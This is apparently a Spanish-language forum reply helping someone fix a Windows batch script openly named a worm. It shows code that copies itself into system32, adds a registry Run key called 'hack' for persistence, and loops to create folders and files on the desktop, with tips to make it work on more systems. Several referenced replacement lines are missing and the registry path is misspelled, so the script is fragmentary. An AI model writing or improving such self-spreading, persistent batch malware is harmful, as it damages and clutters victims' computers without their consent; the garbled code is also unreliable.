Errores:si el .bat es ejecutado en un disco que no sea el "C" o donde esté instalado el S.O., estas líneas daría error:
cd %homepatch%
cd escritorio
cd windows
cd system32
para eso, en lugar de "cd\", te recomiendo que coloques:
y por si acaso en lugar de "cd windows", es mejor colocar:
también puede que el windows no esté en español así que esta linea:
cd escritorio
se cambiaría por esta:
cd escritorio || cd desktop
puedes osar for para ahorrate code y también puede usar call y una etiqueta con el mismo objetivo.
tu code quedaría algo así:
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd escritorio
|| cd desktop
:mdir
:mfl
a ver si no me equivoqué yo xD.
kj